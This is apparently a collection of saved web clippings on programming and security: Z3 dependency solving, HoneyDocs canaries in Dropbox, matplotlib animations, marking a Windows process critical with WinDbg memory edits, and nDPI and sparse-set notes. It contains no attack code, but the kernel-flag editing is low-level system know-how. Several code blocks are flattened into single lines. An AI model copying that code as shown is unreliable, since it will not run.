packages must be present. The conflicts clauses stipulate which other packages
must not be present.

The install problem can be easily solved using Z3. The idea is to define a
Boolean variable for each package. This variable is true if the package must
be in the system. If package `a` depends on packages `b`, `c` and `z`, we
write:

[code]

    DependsOn(a, [b, c, z])
    
[/code]

`DependsOn` is a simple Python function that creates Z3 constraints that
capture the depends clause semantics.

[code]

    def DependsOn(pack, deps):
       return And([ Implies(pack, dep) for dep in deps ])
    
[/code]

Thus, `Depends(a, [b, c, z])` generates the constraint

[code]

    And(Implies(a, b), Implies(a, c), Implies(a, z))
    
[/code]

That is, if users install package `a`, they must also install packages `b`,
`c` and `z`.

If package `d` conflicts with package `e`, we write `Conflict(d, e)`.
`Conflict` is also a simple Python function.

[code]

    def Conflict(p1, p2):
        return Or(Not(p1), Not(p2))
    
[/code]

`Conflict(d, e)` generates the constraint `Or(Not(d), Not(e))`. With these two
functions, we can easily encode the example in the Opium article  \(Section
2\) in Z3Py as:

load in editor

[code]

    def DependsOn(pack, deps):
        return And([ Implies(pack, dep) for dep in deps ])
    
    def Conflict(p1, p2):
        return Or(Not(p1), Not(p2))
    
    a, b, c, d, e, f, g, z = Bools('a b c d e f g z')
    
    solve(DependsOn(a, [b, c, z]),
          DependsOn(b, [d]),
          DependsOn(c, [Or(d, e), Or(f, g)]),
          Conflict(d, e),
          a, z)
[/code]

Note that the example contains the constraint

[code]

    DependsOn(c, [Or(d, e), Or(f, g)]),
    
[/code]

The meaning is: to install `c`, we must install `d` or `e`, and `f` or `g`

Now, we refine the previous example. First, we modify `DependsOn` to allow us
to write `DependsOn(b, d)` instead of `DependsOn(b, [d])`. We also write a
function `install_check` that returns a list of packages that must be
installed in the system. The function `Conflict` is also modified. It can now
receive multiple arguments.

load in editor

[code]

    def DependsOn(pack, deps):
        if is_expr(deps):
            return Implies(pack, deps)
        else:
            return And([ Implies(pack, dep) for dep in deps ])
    
    def Conflict(*packs):
        return Or([ Not(pack) for pack in packs ])
    
    a, b, c, d, e, f, g, z = Bools('a b c d e f g z')
    
    def install_check(*problem):
        s = Solver()
        s.add(*problem)
        if s.check() == sat:
            m = s.model()
            r = []
            for x in m:
                if is_true(m[x]):
                    # x is a Z3 declaration
                    # x() returns the Z3 expression
                    # x.name() returns a string
                    r.append(x())
            print r
        else:
            print "invalid installation profile"
    
    print "Check 1"
    install_check(DependsOn(a, [b, c, z]),
                  DependsOn(b, d),
                  DependsOn(c, [Or(d, e), Or(f, g)]),
                  Conflict(d, e),
                  Conflict(d, g),
                  a, z)
    
    print "Check 2"
    install_check(DependsOn(a, [b, c, z]),
                  DependsOn(b, d),
                  DependsOn(c, [Or(d, e), Or(f, g)]),
                  Conflict(d, e),
                  Conflict(d, g),
                  a, z, g)
[/code]

## Using Z3Py Locally

Z3Py is part of the Z3 distribution. It is located in the `python`
subdirectory. To use it locally, you have to include the following command in
your Python script.

[code]

    from Z3 import *
    
[/code]

The Z3 Python frontend directory must be in your `PYTHONPATH` environment
variable. Z3Py will automatically search for the Z3 library \(`z3.dll`
\(Windows\), `libz3.so` \(Linux\), or `libz3.dylib` \(OSX\)\). You may also
initialize Z3Py manually using the command:

[code]

    init("z3.dll")
    
[/code]

## tutorials

  * strategies 
  * fixedpoints 
  * advanced 
  * guide 

rise4fun © 2012 Microsoft Corporation \- terms of use  \- privacy & cookies
\- code of conduct

<img src='img/Temp2_10614.png' width='143' height='41' alt='Microsoft
Research' />

# lib/mu/pcap/tcp.rb at master from pcapr-local/pcapr-local - GitHub

**Created:**| _5/1/2011 9:58:47 AM_  
---|---  
**Updated:**| _5/1/2011 9:58:47 AM_  
**Author:**| __  
**Tags:**| _ruby packet-analysis_  
  

Manage your pcap collection

# Dropbox…opening my docs? | wncinfosec
**Created:**| _9/13/2013 9:21:36 AM_  
---|---  
**Updated:**| _9/13/2013 9:21:36 AM_  
**Author:**| __  
**Tags:**| _web-app-sec_  
  

# **D** ropbox…opening my docs?

I had the opportunity recently to beta-test HoneyDocs , a web app that
generates documents that can ‘buzz home**.** ’ This is done by a unique,
embedded GET request that is initiated when the generated document has been
opened**.**

Several use cases came to mind, but I was most interested in seeing if my
cloud storage services were manipulating my files in a way that I may not have
been aware of**.**

My experience:

Uploaded Documents to Dropbox Personal Account with Private Folders \(not
shared\)

  * Uploaded “passwords” documents generated by HoneyDocs**.**
  * These were uploaded with both the client application as well as the web interface**.**

<img src='img/Temp2_2455.png' alt='dbox1' />

What’s this**?** A ‘Buzz’ from the recently uploaded documents?

  * The first successful ‘buzz’ took approximately 10 minutes**.**
  * I attempted to re-create this by deleting the files in question and re-uploading the same HoneyDocs files, but was unable to get further ‘buzz backs’ with the same files**.**
  * The IP appears to be an Amazon EC-2 instance in Seattle

<img src='img/Temp2_2454.png' alt='dbox2' />

So now I’m curious…are the files being accessed for de-duplication purposes or
possibly malware scanning**?** If so, then why are the other file types not
being opened**?** It appears that only .doc files are being opened…

I then uploaded more HoneyDocs files to my Dropbox folder, this time from a
different computer and ISP to rule out any of those variables**.**

All .doc embedded HoneyDocs appear to have been accessed…from different Amazon
EC-2 instance IPs**.**

<img src='img/Temp2_2456.png' alt='dbox3' />

Further digging into the HoneyDocs data reveals a suspicious User Agent,
LibreOffice**.** Now I’m curious if this is still an automated process or one
that involves human interaction**?**

<img src='img/Temp2_2453.png' alt='dbox4' />

All in all, I made 3 attempts to upload embedded documents and all appeared to
be opened from different Amazon instances**.** This could have something to do
with how Dropbox’s storage architecture is configured while utilizing Amazon
S3 buckets**.**

Regardless, the .doc files seemed to have been opened for some reason**.** I’d
like to know why…

If you are curious, I encourage you to test it out on your own**\!** You can
sign-up for a free HoneyDocs account here**.**

****

# Matplotlib Animation Tutorial - Pythonic Perambulations

**Created:**| _8/26/2012 8:25:54 PM_  
---|---  
**Updated:**| _8/26/2012 8:25:54 PM_  
**Author:**| __  
**Tags:**| _python programming math plot_  
  

# Matplotlib Animation Tutorial

Aug 18th, 2012

| Comments

Matplotlib version 1.1 added some tools for creating animations which are
really slick. You can find some good example animations on the matplotlib
examples page. I thought I’d share here some of the things I’ve learned when
playing around with these tools.

### Basic Animation

The animation tools center around the `matplotlib.animation.Animation` base
class, which provides a framework around which the animation functionality is
built. The main interfaces are `TimedAnimation` and `FuncAnimation`, which you
can read more about in the documentation. Here I’ll explore using the
`FuncAnimation` tool, which I have found to be the most useful.

First we’ll use `FuncAnimation` to do a basic animation of a sine wave moving
across the screen:

Basic Animation \(basic\_animation.py\) download

[code]

    12345678910111213141516171819202122232425262728293031323334353637383940414243
[/code]

|

[code]

    """Matplotlib Animation Exampleauthor: Jake Vanderplasemail: vanderplas@astro.washington.eduwebsite: http://jakevdp.github.comlicense: BSDPlease feel free to use and modify this, but keep the above information. Thanks!"""import numpy as npfrom matplotlib import pyplot as pltfrom matplotlib import animation# First set up the figure, the axis, and the plot element we want to animatefig = plt.figure()ax = plt.axes(xlim=(0, 2), ylim=(-2, 2))line, = ax.plot([], [], lw=2)# initialization function: plot the background of each framedef init():    line.set_data([], [])    return line,# animation function.  This is called sequentiallydef animate(i):    x = np.linspace(0, 2, 1000)    y = np.sin(2 * np.pi * (x - 0.01 * i))    line.set_data(x, y)    return line,# call the animator.  blit=True means only re-draw the parts that have changed.anim = animation.FuncAnimation(fig, animate, init_func=init,                               frames=200, interval=20, blit=True)# save the animation as an mp4.  This requires ffmpeg or mencoder to be# installed.  The extra_args ensure that the x264 codec is used, so that# the video can be embedded in html5.  You may need to adjust this for# your system: for more information, see# http://matplotlib.sourceforge.net/api/animation_api.htmlanim.save('basic_animation.mp4', fps=30, extra_args=['-vcodec', 'libx264'])plt.show()
[/code]  
---|---  
Let’s step through this and see what’s going on. After importing required
pieces of `numpy` and `matplotlib`, The script sets up the plot:

[code]

    123
[/code]

|

[code]

    fig = plt.figure()ax = plt.axes(xlim=(0, 2), ylim=(-2, 2))line, = ax.plot([], [], lw=2)
[/code]  
---|---  
Here we create a figure window, create a single axis in the figure, and then
create our line object which will be modified in the animation. Note that here
we simply plot an empty line: we’ll add data to the line later.

Next we’ll create the functions which make the animation happen. `init()` is
the function which will be called to create the base frame upon which the
animation takes place. Here we use just a simple function which sets the line
data to nothing. It is important that this function return the line object,
because this tells the animator which objects on the plot to update after each
frame:

[code]

    123
[/code]

|

[code]

    def init():    line.set_data([], [])    return line,
[/code]  
---|---  
The next piece is the animation function. It takes a single parameter, the
frame number `i`, and draws a sine wave with a shift that depends on `i`:

[code]

    123456
[/code]

|

[code]

    # animation function.  This is called sequentiallydef animate(i):    x = np.linspace(0, 2, 1000)    y = np.sin(2 * np.pi * (x - 0.01 * i))    line.set_data(x, y)    return line,
[/code]  
---|---  
Note that again here we return a tuple of the plot objects which have been
modified. This tells the animation framework what parts of the plot should be
animated.

Finally, we create the animation object:

[code]

    12
[/code]

|

[code]

    anim = animation.FuncAnimation(fig, animate, init_func=init,                               frames=100, interval=20, blit=True)
[/code]  
---|---  
This object needs to persist, so it must be assigned to a variable. We’ve
chosen a 100 frame animation with a 20ms delay between frames. The `blit`
keyword is an important one: this tells the animation to only re-draw the
pieces of the plot which have changed. The time saved with `blit=True` means
that the animations display much more quickly.

We end with an optional save command, and then a show command to show the
result. Here’s what the script generates:

This framework for generating and saving animations is very powerful and
flexible: if we put some physics into the `animate` function, the
possibilities are endless. Below are a couple examples of some physics
animations that I’ve been playing around with.

### Double Pendulum

One of the examples provided on the matplotlib example page is an animation of
a double pendulum. This example operates by precomputing the pendulum position
over 10 seconds, and then animating the results. I saw this and wondered if
python would be fast enough to compute the dynamics on the fly. It turns out
it is:

Double Pendulum \(double\_pendulum.py\) download

[code]

    123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149
[/code]

|

[code]

    """General Numerical Solver for the 1D Time-Dependent Schrodinger's equation.adapted from code at http://matplotlib.sourceforge.net/examples/animation/double_pendulum_animated.pyDouble pendulum formula translated from the C code athttp://www.physics.usyd.edu.au/~wheat/dpend_html/solve_dpend.cauthor: Jake Vanderplasemail: vanderplas@astro.washington.eduwebsite: http://jakevdp.github.comlicense: BSDPlease feel free to use and modify this, but keep the above information. Thanks!"""from numpy import sin, cosimport numpy as npimport matplotlib.pyplot as pltimport scipy.integrate as integrateimport matplotlib.animation as animationclass DoublePendulum:    """Double Pendulum Class    init_state is [theta1, omega1, theta2, omega2] in degrees,    where theta1, omega1 is the angular position and velocity of the first    pendulum arm, and theta2, omega2 is that of the second pendulum arm    """    def __init__(self,                 init_state = [120, 0, -20, 0],                 L1=1.0,  # length of pendulum 1 in m                 L2=1.0,  # length of pendulum 2 in m                 M1=1.0,  # mass of pendulum 1 in kg                 M2=1.0,  # mass of pendulum 2 in kg                 G=9.8,  # acceleration due to gravity, in m/s^2                 origin=(0, 0)):        self.init_state = np.asarray(init_state, dtype='float')        self.params = (L1, L2, M1, M2, G)        self.origin = origin        self.time_elapsed = 0        self.state = self.init_state * np.pi / 180.    def position(self):        """compute the current x,y positions of the pendulum arms"""        (L1, L2, M1, M2, G) = self.params        x = np.cumsum([self.origin[0],                       L1 * sin(self.state[0]),                       L2 * sin(self.state[2])])        y = np.cumsum([self.origin[1],                       -L1 * cos(self.state[0]),                       -L2 * cos(self.state[2])])        return (x, y)    def energy(self):        """compute the energy of the current state"""        (L1, L2, M1, M2, G) = self.params        x = np.cumsum([L1 * sin(self.state[0]),                       L2 * sin(self.state[2])])        y = np.cumsum([-L1 * cos(self.state[0]),                       -L2 * cos(self.state[2])])        vx = np.cumsum([L1 * self.state[1] * cos(self.state[0]),                        L2 * self.state[3] * cos(self.state[2])])        vy = np.cumsum([L1 * self.state[1] * sin(self.state[0]),                        L2 * self.state[3] * sin(self.state[2])])        U = G * (M1 * y[0] + M2 * y[1])        K = 0.5 * (M1 * np.dot(vx, vx) + M2 * np.dot(vy, vy))        return U + K    def dstate_dt(self, state, t):        """compute the derivative of the given state"""        (M1, M2, L1, L2, G) = self.params        dydx = np.zeros_like(state)        dydx[0] = state[1]        dydx[2] = state[3]        cos_delta = cos(state[2] - state[0])        sin_delta = sin(state[2] - state[0])        den1 = (M1 + M2) * L1 - M2 * L1 * cos_delta * cos_delta        dydx[1] = (M2 * L1 * state[1] * state[1] * sin_delta * cos_delta                   + M2 * G * sin(state[2]) * cos_delta                   + M2 * L2 * state[3] * state[3] * sin_delta                   - (M1 + M2) * G * sin(state[0])) / den1        den2 = (L2 / L1) * den1        dydx[3] = (-M2 * L2 * state[3] * state[3] * sin_delta * cos_delta                   + (M1 + M2) * G * sin(state[0]) * cos_delta                   - (M1 + M2) * L1 * state[1] * state[1] * sin_delta                   - (M1 + M2) * G * sin(state[2])) / den2        return dydx    def step(self, dt):        """execute one time step of length dt and update state"""        self.state = integrate.odeint(self.dstate_dt, self.state, [0, dt])[1]        self.time_elapsed += dt#------------------------------------------------------------# set up initial state and global variablespendulum = DoublePendulum([180., 0.0, -20., 0.0])dt = 1./30 # 30 fps#------------------------------------------------------------# set up figure and animationfig = plt.figure()ax = fig.add_subplot(111, aspect='equal', autoscale_on=False,                     xlim=(-2, 2), ylim=(-2, 2))ax.grid()line, = ax.plot([], [], 'o-', lw=2)time_text = ax.text(0.02, 0.95, '', transform=ax.transAxes)energy_text = ax.text(0.02, 0.90, '', transform=ax.transAxes)def init():    """initialize animation"""    line.set_data([], [])    time_text.set_text('')    energy_text.set_text('')    return line, time_text, energy_textdef animate(i):    """perform animation step"""    global pendulum, dt    pendulum.step(dt)    line.set_data(*pendulum.position())    time_text.set_text('time = %.1f' % pendulum.time_elapsed)    energy_text.set_text('energy = %.3f J' % pendulum.energy())    return line, time_text, energy_text# choose the interval based on dt and the time to animate one stepfrom time import timet0 = time()animate(0)t1 = time()interval = 1000 * dt - (t1 - t0)ani = animation.FuncAnimation(fig, animate, frames=300,                              interval=interval, blit=True, init_func=init)ani.save('double_pendulum.mp4', fps=30, extra_args=['-vcodec', 'libx264'])plt.show()
[/code]  
---|---  
Here we’ve created a class which stores the state of the double pendulum
\(encoded in the angle of each arm plus the angular velocity of each arm\) and
also provides some functions for computing the dynamics. The animation
functions are the same as above, but we just have a bit more complicated
update function: it not only changes the position of the points, but also
changes the text to keep track of time and energy \(energy should be constant
if our math is correct: it’s comforting that it is\). The video below lasts
only ten seconds, but by running the script you can watch the pendulum
chaotically oscillate until your laptop runs out of power:

### Particles in a Box

Another animation I created is the elastic collisions of a group of particles
in a box under the force of gravity. The collisions are elastic: they conserve
energy and 2D momentum, and the particles bounce realistically off the walls
of the box and fall under the influence of a constant gravitational force:

Particles in a Box \(particle\_box.py\) download

[code]

    123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159
[/code]

|

[code]

    """Animation of Elastic collisions with Gravityauthor: Jake Vanderplasemail: vanderplas@astro.washington.eduwebsite: http://jakevdp.github.comlicense: BSDPlease feel free to use and modify this, but keep the above information. Thanks!"""import numpy as npfrom scipy.spatial.distance import pdist, squareformimport matplotlib.pyplot as pltimport scipy.integrate as integrateimport matplotlib.animation as animationclass ParticleBox:    """Orbits class        init_state is an [N x 4] array, where N is the number of particles:       [[x1, y1, vx1, vy1],        [x2, y2, vx2, vy2],        ...               ]    bounds is the size of the box: [xmin, xmax, ymin, ymax]    """    def __init__(self,                 init_state = [[1, 0, 0, -1],                               [-0.5, 0.5, 0.5, 0.5],                               [-0.5, -0.5, -0.5, 0.5]],                 bounds = [-2, 2, -2, 2],                 size = 0.04,                 M = 0.05,                 G = 9.8):        self.init_state = np.asarray(init_state, dtype=float)        self.M = M * np.ones(self.init_state.shape[0])        self.size = size        self.state = self.init_state.copy()        self.time_elapsed = 0        self.bounds = bounds        self.G = G    def step(self, dt):        """step once by dt seconds"""        self.time_elapsed += dt        # update positions        self.state[:, :2] += dt * self.state[:, 2:]        # find pairs of particles undergoing a collision        D = squareform(pdist(self.state[:, :2]))        ind1, ind2 = np.where(D < 2 * self.size)        unique = (ind1 < ind2)        ind1 = ind1[unique]        ind2 = ind2[unique]        # update velocities of colliding pairs        for i1, i2 in zip(ind1, ind2):            # mass            m1 = self.M[i1]            m2 = self.M[i2]            # location vector            r1 = self.state[i1, :2]            r2 = self.state[i2, :2]            # velocity vector            v1 = self.state[i1, 2:]            v2 = self.state[i2, 2:]            # relative location & velocity vectors            r_rel = r1 - r2            v_rel = v1 - v2            # momentum vector of the center of mass            v_cm = (m1 * v1 + m2 * v2) / (m1 + m2)            # collisions of spheres reflect v_rel over r_rel            rr_rel = np.dot(r_rel, r_rel)            vr_rel = np.dot(v_rel, r_rel)            v_rel = 2 * r_rel * vr_rel / rr_rel - v_rel            # assign new velocities            self.state[i1, 2:] = v_cm + v_rel * m2 / (m1 + m2)            self.state[i2, 2:] = v_cm - v_rel * m1 / (m1 + m2)        # check for crossing boundary        crossed_x1 = (self.state[:, 0] < self.bounds[0] + self.size)        crossed_x2 = (self.state[:, 0] > self.bounds[1] - self.size)        crossed_y1 = (self.state[:, 1] < self.bounds[2] + self.size)        crossed_y2 = (self.state[:, 1] > self.bounds[3] - self.size)        self.state[crossed_x1, 0] = self.bounds[0] + self.size        self.state[crossed_x2, 0] = self.bounds[1] - self.size        self.state[crossed_y1, 1] = self.bounds[2] + self.size        self.state[crossed_y2, 1] = self.bounds[3] - self.size        self.state[crossed_x1 | crossed_x2, 2] *= -1        self.state[crossed_y1 | crossed_y2, 3] *= -1        # add gravity        self.state[:, 3] -= self.M * self.G * dt#------------------------------------------------------------# set up initial statenp.random.seed(0)init_state = -0.5 + np.random.random((50, 4))init_state[:, :2] *= 3.9box = ParticleBox(init_state, size=0.04)dt = 1. / 30 # 30fps#------------------------------------------------------------# set up figure and animationfig = plt.figure()fig.subplots_adjust(left=0, right=1, bottom=0, top=1)ax = fig.add_subplot(111, aspect='equal', autoscale_on=False,                     xlim=(-3.2, 3.2), ylim=(-2.4, 2.4))# particles holds the locations of the particlesparticles, = ax.plot([], [], 'bo', ms=6)# rect is the box edgerect = plt.Rectangle(box.bounds[::2],                     box.bounds[1] - box.bounds[0],                     box.bounds[3] - box.bounds[2],                     ec='none', lw=2, fc='none')ax.add_patch(rect)def init():    """initialize animation"""    global box, rect    particles.set_data([], [])    rect.set_edgecolor('none')    return particles, rectdef animate(i):    """perform animation step"""    global box, rect, dt, ax, fig    box.step(dt)    ms = int(fig.dpi * 2 * box.size * fig.get_figwidth()             / np.diff(ax.get_xbound())[0])    # update pieces of the animation    rect.set_edgecolor('k')    particles.set_data(box.state[:, 0], box.state[:, 1])    particles.set_markersize(ms)    return particles, rectani = animation.FuncAnimation(fig, animate, frames=600,                              interval=10, blit=True, init_func=init)ani.save('particle_box.mp4', fps=30, extra_args=['-vcodec', 'libx264'])plt.show()
[/code]  
---|---  
The math should be familiar to anyone with a physics background, and the
result is pretty mesmerizing. I coded this up during a flight, and ended up
just sitting and watching it for about ten minutes.

This is just the beginning: it might be an interesting exercise to add other
elements, like computation of the temperature and pressure to demonstrate the
ideal gas law, or real-time plotting of the velocity distribution to watch it
approach the expected Maxwellian distribution. It opens up many possibilities
for virtual physics demos…

### Summing it up

The matplotlib animation module is an excellent addition to what was already
an excellent package. I think I’ve just scratched the surface of what’s
possible with these tools… what cool animation ideas can you come up with?

# Bugchecking a Computer on A Usermode Application Crash - Ntdebugging Blog -
Site Home - MSDN Blogs

**Created:**| _6/27/2014 4:22:25 PM_  
---|---  
**Updated:**| _6/27/2014 4:22:25 PM_  
**Author:**| __  
**Tags:**| _analysis Logs crashes_  
  

# Bugchecking a Computer on A Usermode Application Crash

19 Jun 2014 2:13 PM

Hello my name is Gurpreet Singh Jutla and I would like to share information on
how we can bugcheck a box on any usermode application crash. Set the
application as a critical process when the application crash is reproducible.
We may sometimes need a complete memory dump to investigate the information
from kernel mode on a usermode application crash or closure.

We will use the operating system’s ability to mark a process as critical and
cause the system to bugcheck when the critical process closes unexpectedly.
This will generate either a CRITICAL\_PROCESS\_DIED or a
CRITICAL\_OBJECT\_TERMINATION bugcheck.

For this demonstration I will use the following code sample which waits for
the user input and then causes an Access Violation. You can use the following
steps to collect a complete memory dump for any application crash that
launches fine but crashes under known repro conditions.

**Code Sample**

\#include<conio.h>  
main\(\)  
\{  
\_getch\(\); //Wait for a key press  
\*\(\*\)0xdeaddead ='B'; //Causes the Access Violation  
\}

**Please follow the steps below**

  1. Set the system for a complete memory dump by opening the “Advanced System settings” under System properties in control panel and then setting the value of “Write debugging information” under “Startup and recovery” options on the advanced tab. 
<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-77-00-metablogapi/1122.image001_5F00_2B45384A.jpg'
alt='image001' />

<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-77-00-metablogapi/2046.image002_5F00_4A87DF1D.jpg'
alt='image002' />

  2. Also enable the debug mode by running the following command from a command prompt   
bcdedit -debug on

  3. To enable the “Complete memory dump” and debug mode you need to restart the box to ensure the changes are implemented.
  4. Run the application you want to setup as critical process but do not run the repro steps. I have compiled my test application as test.exe
  5. Download and install the Debugging Tools for Windows, part of SDK which you can download from http://msdn.microsoft.com/en-us/windows/desktop/bg162891.aspx. Note, when the installer launches you can uncheck every feature except Debugging Tools for Windows.
  6. We need to setup the debugger to use the public symbols. Create a folder c:\symbols. Run Windbg with admin privileges, choose “File” menu and then “Symbol file path”. Type SRV\*c:\symbols\*http://msdl.microsoft.com/download/symbols   
For more details check http://support.microsoft.com/kb/311503/en-us

  7. Assuming you have the debugger installed and setup with the public symbols, launch the debugger with admin privileges.
  8. From the file menu select kernel debug and then choose the “Local” tab and hit Ok button. This will connect the windbg to the local kernel. You should see an “lkd>” prompt.
  9. Run the following command to get the process information in windbg. The below example uses both x64 and x86 architectures

**x64**  
0: kd> \!process 0 0 test.exe

PROCESS fffffa82fa924b30

SessionId: 0 Cid: 036c Peb: 7fffffda000 ParentCid: 02e4

DirBase: 1085d76000 ObjectTable: fffff8a0042d7970 HandleCount: 11.

Image: test.exe  
  
**x86**  
0: kd> \!process 0 0 test.exe

PROCESS 89038a08 SessionId: 0 Cid: 10f0 Peb: 7ffde000 ParentCid: 0f10

DirBase: bfa19900 ObjectTable: e669b630 HandleCount: 11.

Image: test.exe

  * Take the process id from the output and run the following command. The following command shows the process flags. The output shows the flags as 144d0841 in the example for x64 and 0x44082d for x86. 

**x64**  
0: kd> dt nt\!\_eprocess fffffa82fa924b30 flags

+0x440 Flags : 0x144d0801  
  
**x86**  
0: kd> dt 89038a08 nt\!\_eprocess flags

+0x240 Flags : 0x450801

  * Run the ed command to edit the memory and set the process flags to mark the process critical. Adding the value 0x2000 marks the process critical. 

**x64**  
0: kd> ed fffffa82fa924b30+0x440 0x144d0801+0x2000

**x86**  
0: kd> ed 89038a08+0x228 0x450801+0x2000

  * Now close the debugger and proceed with the repro steps to crash or close the application. 
  * In our case the test application with the code mentioned above should cause the machine to bugcheck as soon as any key is pressed.

The complete memory dump will contain the process information as well as
kernel data for investigation.

# OsmoSDR

**Created:**| _1/3/2012 4:34:17 PM_  
---|---  
**Updated:**| _1/3/2012 4:34:17 PM_  
**Author:**| __  
**Tags:**| _DSP Gnuradio_  
  

# Welcome to OsmoSDR

OsmoSDR is a 100% Free Software based small form-factor inexpensive SDR
\(Software Defined Radio\) project.

If you are familiar with existing SDR receivers, then OsmoSDR can be thought
of something in between a FunCubeDongle? \(only 96kHz bandwidth\) and a USRP
\(much more expensive\).

It consists of a USB-attached Hardware, associated Firmware as well as
gnuradio integration on the PC.

The hardware is currently in prototype stage. As soon as it is finished, we
will make it available through http://shop.sysmocom.de/

# OsmoSDR hardware verification at 28C3

At 28c3, the OsmoSDR team was busy verifying the hardware design on the first
prototypes.

The result can be summarized as:

  * SAM3U is working, enumerates on USB and can be programmed via SAM-BA 
  * E4K tuner driver is working 
  * Si570 driver is working 
  * FPGA can be flashed via JTAG bit-banging from SAM3 ... 

\(Read more\)

  * Posted: 2011-12-31 15:51 
  * Author: laforge
  * Categories: hardware
  * Comments \(0\) 

# About OsmocomSDR

This is the blog of the OsmoSDR project, a small-size, low-cost Software
Defined Radio hardware/firmware project.

  * Posted: 2011-12-31 15:44 
  * Author: laforge
  * Categories: \(none\) 
  * Comments \(0\) 

Hardware schematics and firmware source code are kept in a git repository on
git.osmocom.org.

  * clone the repository like this: `git clone git://git.osmocom.org/osmo-sdr.git`
  * web-browse the repository: http://cgit.osmocom.org/cgit/osmo-sdr/

For a complete list of local wiki pages, see TitleIndex.

## Picture

This is a \(bad\) picture of the first generation prototype:

<img src='img/Temp2_5982.jpg' width='50%' alt='PCB photograph of OsmoSDR' />

## Credits

  * Stefan Reimann of SR-Systems \(electrical engineering, manufacturing\) 
  * Christian Daniel, Matthias Kleffel and Thomas Kleffel of maintech \(overall design, FPGA, rum-ba\) 
  * Harald Welte of sysmocom \(sam3u firmware development\) 

### Attachments

  * osmosdr.jpg \(173.2 kB\) - added by _laforge_ 2 days ago. "PCB photograph of OsmoSDR"

# Practical Return Oriented Programming

**Created:**| _4/26/2010 7:08:44 PM_  
---|---  
**Updated:**| _4/27/2010 7:18:00 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification Exploit programming awesome
return-oriented_  
  
<img src='img/Temp2_6343' width='100%' height='37292' />

# ntop/nDPI

**Created:**| _5/4/2015 10:25:18 AM_  
---|---  
**Updated:**| _5/4/2015 10:25:18 AM_  
**Author:**| __  
**Tags:**| _protocol-analysis_  
  

# What is nDPI ?

nDPI is an open source GPLv3 library for deep-packet inspection. Based on
OpenDPI it includes ntop extensions. We have tried to push them into the
OpenDPI source tree but nobody answered emails so we have decided to create
mour own source tree

#  How To Compile nDPI

In order to compile this library do

  * ./autogen.sh
  * ./configure

Please note that the pre-requisites for compilation include:

  * GNU tools \(autogen, automake, autoconf, libtool\)
  * GNU C compiler \(gcc\)

#  How To Add A New Protocol Dissector

The entire procedure of adding new protocols in detail:

  1. Add new protocol together with its unique ID to: src/include/ndpi\_protocols\_osdpi.h
  2. Create a new protocol in: src/lib/protocols/
  3. Variables to be kept for the duration of the entire flow \(as state variables\) needs to be placed in: /include/ndpi\_structs.h in ndpi\_flow\_tcp\_struct \(for TCP only\), ndpi\_flow\_udp\_struct \(for UDP only\), or ndpi\_flow\_struct \(for both\).
  4. Add a new entry for the search function for the new protocol in: src/include/ndpi\_protocols.h
  5. Choose \(do not change anything\) a selection bitmask from: src/include/ndpi\_define.h
  6. Add a new entry in ndpi\_set\_protocol\_detection\_bitmask2 in: src/lib/ndpi\_main.c
  7. Set protocol default ports in ndpi\_init\_protocol\_defaults in: src/lib/ndpi\_main.c
  8. Add the new protocol file to: src/lib/Makefile.am
  9. ./autogen.sh
  10. ./configure

#  Creating A Source File Tar Ball

If you want to distribute a source tar file of nDPI do:

  * make dist

* * *
April 2015 - ntop

# research\!rsc: Using Uninitialized Memory for Fun and Profit

**Created:**| _1/18/2011 9:47:06 AM_  
---|---  
**Updated:**| _1/18/2011 9:47:37 AM_  
**Author:**| __  
**Tags:**| _bookmark Exploit reversing awesome Memory corruptions_  
  

### Using Uninitialized Memory for Fun and Profit

This is the story of a clever trick that's been around for at least 35 years,
in which array values can be left uninitialized and then read during normal
operations, yet the code behaves correctly no matter what garbage is sitting
in the array. Like the best programming tricks, this one is the right tool for
the job in certain situations. The sleaziness of uninitialized data access is
offset by performance improvements: some important operations change from
linear to constant time.

Alfred Aho, John Hopcroft, and Jeffrey Ullman's 1974 book  _The Design and
Analysis of Computer Algorithms_ hints at the trick in an exercise \(Chapter
2, exercise 2.12\):

> Develop a technique to initialize an entry of a matrix to zero the first
> time it is accessed, thereby eliminating the  _O_\(||_V_ ||2\) time to
> initialize an adjacency matrix.
Jon Bentley's 1986 book  _Programming Pearls_ expands on the exercise \(Column
1, exercise 8; exercise 9 in the Second Edition\):

> One problem with trading more space for less time is that initializing the
> space can itself take a great deal of time. Show how to circumvent this
> problem by designing a technique to initialize an entry of a vector to zero
> the first time it is accessed. Your scheme should use constant time for
> initialization and each vector access; you may use extra space proportional
> to the size of the vector. Because this method reduces initialization time
> by using even more space, it should be considered only when space is cheap,
> time is dear, and the vector is sparse.
Aho, Hopcroft, and Ullman's exercise talks about a matrix and Bentley's
exercise talks about a vector, but for now let's consider just a simple set of
integers.

One popular representation of a set of  _n_ integers ranging from 0 to  _m_ is
a bit vector, with 1 bits at the positions corresponding to the integers in
the set. Adding a new integer to the set, removing an integer from the set,
and checking whether a particular integer is in the set are all very fast
constant-time operations \(just a few bit operations each\). Unfortunately,
two important operations are slow: iterating over all the elements in the set
takes time  _O_\(_m_\), as does clearing the set. If the common case is that
_m_ is much larger than  _n_ \(that is, the set is only sparsely populated\)
and iterating or clearing the set happens frequently, then it could be better
to use a representation that makes those operations more efficient. That's
where the trick comes in.

Preston Briggs and Linda Torczon's 1993 paper, “**An Efficient Representation
for Sparse Sets**,” describes the trick in detail. Their solution represents
the sparse set using an integer array named `dense` and an integer `n` that
counts the number of elements in`dense`. The  _dense_ array is simply a packed
list of the elements in the set, stored in order of insertion. If the set
contains the elements 5, 1, and 4, then `n = 3` and `dense[0] = 5`,`dense[1] =
1`, `dense[2] = 4`:

<img src='img/Temp2_10599.png' />

Together `n` and `dense` are enough information to reconstruct the set, but
this representation is not very fast. To make it fast, Briggs and Torczon add
a second array named `sparse` which maps integers to their indices in `dense`.
Continuing the example,`sparse[5] = 0`, `sparse[1] = 1`, `sparse[4] = 2`.
